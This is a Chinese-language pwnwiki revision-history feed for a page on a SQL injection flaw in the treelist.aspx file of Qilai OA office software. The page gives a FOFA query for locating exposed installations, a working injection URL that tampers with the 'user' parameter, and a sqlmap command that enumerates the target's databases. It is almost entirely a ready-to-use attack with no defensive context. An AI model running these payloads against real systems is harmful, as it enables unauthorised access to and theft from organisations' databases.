https://pwnwiki.com/index.php?action=history&feed=atom&title=%E5%95%9F%E8%90%8AOA_treelist.aspx_SQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E
啟萊OA treelist.aspx SQL注入漏洞 - Revision history
2026-04-13T12:41:50Z
Revision history for this page on the wiki
MediaWiki 1.35.1
https://pwnwiki.com/index.php?title=%E5%95%9F%E8%90%8AOA_treelist.aspx_SQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E&diff=3003&oldid=prev
Pwnwiki: Created page with "==FOFA== <pre> app="启莱OA" </pre> 存在SQL注入的文件為 treelist.aspx <pre> http://xxx.xxx.xxx.xxx/client/treelist.aspx?user=' and (select db_name())>0--&pwd=1 </pre..."
2021-05-21T01:31:43Z
<p>Created page with "==FOFA== <pre> app="启莱OA" </pre> 存在SQL注入的文件為 treelist.aspx <pre> http://xxx.xxx.xxx.xxx/client/treelist.aspx?user=' and (select db_name())>0--&pwd=1 </pre..."</p>
<p><b>New page</b></p><div>==FOFA==<br />
<pre><br />
app="启莱OA"<br />
</pre><br />
<br />
存在SQL注入的文件為 treelist.aspx<br />
<pre><br />
http://xxx.xxx.xxx.xxx/client/treelist.aspx?user=' and (select db_name())>0--&pwd=1<br />
</pre><br />
<br />
<br />
==SQLMAP==<br />
<pre><br />
sqlmap -u "http://xxx.xxx.xxx.xxx/client/treelist.aspx?user=' and (select db_name())>0--&pwd=1" -p users --dbs<br />
</pre></div>
Pwnwiki